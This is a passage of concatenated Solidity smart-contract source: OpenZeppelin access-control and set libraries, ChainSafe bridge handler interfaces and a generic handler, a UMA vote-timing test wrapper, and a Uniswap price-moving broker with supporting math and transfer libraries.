* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.6.0;
/**
@title Interface for handler contracts that support deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IDepositExecute {
/**
@notice It is intended that deposit are made using the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of additional data needed for a specific deposit.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external;
/**
@notice It is intended that proposals are executed by the Bridge contract.
@param data Consists of additional data needed for a specific deposit execution.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for Bridge contract.
@author ChainSafe Systems.
*/
interface IBridge {
/**
@notice Exposing getter for {_chainID} instead of forcing the use of call.
@return uint8 The {_chainID} that is currently set for the Bridge contract.
*/
function _chainID() external returns (uint8);
}
pragma solidity ^0.6.0;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author ChainSafe Systems.
*/
interface IERCHandler {
/**
@notice Correlates {resourceID} with {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function setResource(bytes32 resourceID, address contractAddress) external;
/**
@notice Marks {contractAddress} as mintable/burnable.
@param contractAddress Address of contract to be used when making or executing deposits.
*/
function setBurnable(address contractAddress) external;
/**
@notice Used to manually release funds from ERC safes.
@param tokenAddress Address of token contract to release.
@param recipient Address to release tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release.
*/
function withdraw(
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for handler that handles generic deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IGenericHandler {
/**
@notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external;
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IGenericHandler.sol";
/**
@title Handles generic deposits and deposit executions.
@author ChainSafe Systems.
@notice This contract is intended to be used with the Bridge contract.
*/
contract GenericHandler is IGenericHandler {
address public _bridgeAddress;
struct DepositRecord {
uint8 _destinationChainID;
address _depositer;
bytes32 _resourceID;
bytes _metaData;
}
// depositNonce => Deposit Record
mapping(uint8 => mapping(uint64 => DepositRecord)) public _depositRecords;
// resourceID => contract address
mapping(bytes32 => address) public _resourceIDToContractAddress;
// contract address => resourceID
mapping(address => bytes32) public _contractAddressToResourceID;
// contract address => deposit function signature
mapping(address => bytes4) public _contractAddressToDepositFunctionSignature;
// contract address => execute proposal function signature
mapping(address => bytes4) public _contractAddressToExecuteFunctionSignature;
// token contract address => is whitelisted
mapping(address => bool) public _contractWhitelist;
modifier onlyBridge() {
_onlyBridge();
_;
}
function _onlyBridge() private {
require(msg.sender == _bridgeAddress, "sender must be bridge contract");
}
/**
@param bridgeAddress Contract address of previously deployed Bridge.
@param initialResourceIDs Resource IDs used to identify a specific contract address.
These are the Resource IDs this contract will initially support.
@param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be
called to perform deposit and execution calls.
@param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {deposit}
@param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {executeProposal}
@dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures},
and {initialExecuteFunctionSignatures} must all have the same length. Also,
values must be ordered in the way that that index x of any mentioned array
must be intended for value x of any other array, e.g. {initialContractAddresses}[0]
is the intended address for {initialDepositFunctionSignatures}[0].
*/
constructor(
address bridgeAddress,
bytes32[] memory initialResourceIDs,
address[] memory initialContractAddresses,
bytes4[] memory initialDepositFunctionSignatures,
bytes4[] memory initialExecuteFunctionSignatures
) public {
require(
initialResourceIDs.length == initialContractAddresses.length,
"initialResourceIDs and initialContractAddresses len mismatch"
);
require(
initialContractAddresses.length == initialDepositFunctionSignatures.length,
"provided contract addresses and function signatures len mismatch"
);
require(
initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length,
"provided deposit and execute function signatures len mismatch"
);
_bridgeAddress = bridgeAddress;
for (uint256 i = 0; i < initialResourceIDs.length; i++) {
_setResource(
initialResourceIDs[i],
initialContractAddresses[i],
initialDepositFunctionSignatures[i],
initialExecuteFunctionSignatures[i]
);
}
}
/**
@param depositNonce This ID will have been generated by the Bridge contract.
@param destId ID of chain deposit will be bridged to.
@return DepositRecord which consists of:
- _destinationChainID ChainID deposited tokens are intended to end up on.
- _resourceID ResourceID used when {deposit} was executed.
- _depositer Address that initially called {deposit} in the Bridge contract.
- _metaData Data to be passed to method executed in corresponding {resourceID} contract.
*/
function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) {
return _depositRecords[destId][depositNonce];
}
/**
@notice First verifies {_resourceIDToContractAddress}[{resourceID}] and
{_contractAddressToResourceID}[{contractAddress}] are not already set,
then sets {_resourceIDToContractAddress} with {contractAddress},
{_contractAddressToResourceID} with {resourceID},
{_contractAddressToDepositFunctionSignature} with {depositFunctionSig},
{_contractAddressToExecuteFunctionSignature} with {executeFunctionSig},
and {_contractWhitelist} to true for {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external override onlyBridge {
_setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice A deposit is initiatied by making a deposit in the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 64 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external onlyBridge {
bytes32 lenMetadata;
bytes memory metadata;
assembly {
// Load length of metadata from data + 64
lenMetadata := calldataload(0xC4)
// Load free memory pointer
metadata := mload(0x40)
mstore(0x40, add(0x20, add(metadata, lenMetadata)))
// func sig (4) + destinationChainId (padded to 32) + depositNonce (32) + depositor (32) +
// bytes length (32) + resourceId (32) + length (32) = 0xC4
calldatacopy(
metadata, // copy to metadata
0xC4, // copy from calldata after metadata length declaration @0xC4
sub(calldatasize(), 0xC4) // copy size (calldatasize - (0xC4 + the space metaData takes up))
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metadata);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
_depositRecords[destinationChainID][depositNonce] = DepositRecord(
destinationChainID,
depositer,
resourceID,
metadata
);
}
/**
@notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract.
@param data Consists of {resourceID}, {lenMetaData}, and {metaData}.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 32 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge {
bytes memory metaData;
assembly {
// metadata has variable length
// load free memory pointer to store metadata
metaData := mload(0x40)
// first 32 bytes of variable length in storage refer to length
let lenMeta := calldataload(0x64)
mstore(0x40, add(0x60, add(metaData, lenMeta)))
// in the calldata, metadata is stored @0x64 after accounting for function signature, and 2 previous params
calldatacopy(
metaData, // copy to metaData
0x64, // copy from calldata after data length declaration at 0x64
sub(calldatasize(), 0x64) // copy size (calldatasize - 0x64)
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metaData);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
}
function _setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) internal {
_resourceIDToContractAddress[resourceID] = contractAddress;
_contractAddressToResourceID[contractAddress] = resourceID;
_contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig;
_contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig;
_contractWhitelist[contractAddress] = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../interfaces/VotingInterface.sol";
import "../VoteTiming.sol";
// Wraps the library VoteTiming for testing purposes.
contract VoteTimingTest {
using VoteTiming for VoteTiming.Data;
VoteTiming.Data public voteTiming;
constructor(uint256 phaseLength) public {
wrapInit(phaseLength);
}
function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) {
return voteTiming.computeCurrentRoundId(currentTime);
}
function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingAncillaryInterface.Phase) {
return voteTiming.computeCurrentPhase(currentTime);
}
function wrapInit(uint256 phaseLength) public {
voteTiming.init(phaseLength);
}
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/Babylonian.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/lib/contracts/libraries/FullMath.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
/**
* @title UniswapBroker
* @notice Trading contract used to arb uniswap pairs to a desired "true" price. Intended use is to arb UMA perpetual
* synthetics that trade off peg. This implementation can ber used in conjunction with a DSProxy contract to atomically
* swap and move a uniswap market.
*/
contract UniswapBroker {
using SafeMath for uint256;
/**
* @notice Swaps an amount of either token such that the trade results in the uniswap pair's price being as close as
* possible to the truePrice.
* @dev True price is expressed in the ratio of token A to token B.
* @dev The caller must approve this contract to spend whichever token is intended to be swapped.
* @param tradingAsEOA bool to indicate if the UniswapBroker is being called by a DSProxy or an EOA.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param uniswapFactory address of the uniswap factory used to fetch current pair reserves.
* @param swappedTokens array of addresses which are to be swapped. The order does not matter as the function will figure
* out which tokens need to be exchanged to move the market to the desired "true" price.
* @param truePriceTokens array of unit used to represent the true price. 0th value is the numerator of the true price
* and the 1st value is the the denominator of the true price.
* @param maxSpendTokens array of unit to represent the max to spend in the two tokens.
* @param to recipient of the trade proceeds.
* @param deadline to limit when the trade can execute. If the tx is mined after this timestamp then revert.
*/
function swapToPrice(
bool tradingAsEOA,
address uniswapRouter,
address uniswapFactory,
address[2] memory swappedTokens,
uint256[2] memory truePriceTokens,
uint256[2] memory maxSpendTokens,
address to,
uint256 deadline
) public {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
// true price is expressed as a ratio, so both values must be non-zero
require(truePriceTokens[0] != 0 && truePriceTokens[1] != 0, "SwapToPrice: ZERO_PRICE");
// caller can specify 0 for either if they wish to swap in only one direction, but not both
require(maxSpendTokens[0] != 0 || maxSpendTokens[1] != 0, "SwapToPrice: ZERO_SPEND");
bool aToB;
uint256 amountIn;
{
(uint256 reserveA, uint256 reserveB) = getReserves(uniswapFactory, swappedTokens[0], swappedTokens[1]);
(aToB, amountIn) = computeTradeToMoveMarket(truePriceTokens[0], truePriceTokens[1], reserveA, reserveB);
}
require(amountIn > 0, "SwapToPrice: ZERO_AMOUNT_IN");
// spend up to the allowance of the token in
uint256 maxSpend = aToB ? maxSpendTokens[0] : maxSpendTokens[1];
if (amountIn > maxSpend) {
amountIn = maxSpend;
}
address tokenIn = aToB ? swappedTokens[0] : swappedTokens[1];
address tokenOut = aToB ? swappedTokens[1] : swappedTokens[0];
TransferHelper.safeApprove(tokenIn, address(router), amountIn);
if (tradingAsEOA) TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn);
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0, // amountOutMin: we can skip computing this number because the math is tested within the uniswap tests.
path,
to,
deadline
);
}
/**
* @notice Given the "true" price a token (represented by truePriceTokenA/truePriceTokenB) and the reservers in the
* uniswap pair, calculate: a) the direction of trade (aToB) and b) the amount needed to trade (amountIn) to move
* the pool price to be equal to the true price.
* @dev Note that this method uses the Babylonian square root method which has a small margin of error which will
* result in a small over or under estimation on the size of the trade needed.
* @param truePriceTokenA the nominator of the true price.
* @param truePriceTokenB the denominator of the true price.
* @param reserveA number of token A in the pair reserves
* @param reserveB number of token B in the pair reserves
*/
//
function computeTradeToMoveMarket(
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 reserveA,
uint256 reserveB
) public pure returns (bool aToB, uint256 amountIn) {
aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA;
uint256 invariant = reserveA.mul(reserveB);
// The trade ∆a of token a required to move the market to some desired price P' from the current price P can be
// found with ∆a=(kP')^1/2-Ra.
uint256 leftSide =
Babylonian.sqrt(
FullMath.mulDiv(
invariant,
aToB ? truePriceTokenA : truePriceTokenB,
aToB ? truePriceTokenB : truePriceTokenA
)
);
uint256 rightSide = (aToB ? reserveA : reserveB);
if (leftSide < rightSide) return (false, 0);
// compute the amount that must be sent to move the price back to the true price.
amountIn = leftSide.sub(rightSide);
}
// The methods below are taken from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
// We could import this library into this contract but this library is dependent Uniswap's SafeMath, which is bound
// to solidity 6.6.6. Hardhat can easily deal with two different sets of solidity versions within one project so
// unit tests would continue to work fine. However, this would break truffle support in the repo as truffle cant
// handel having two different solidity versions. As a work around, the specific methods needed in the UniswapBroker
// are simply moved here to maintain truffle support.
function getReserves(
address factory,
address tokenA,
address tokenB
) public view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
// SPDX-License-Identifier: CC-BY-4.0
pragma solidity >=0.4.0;
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
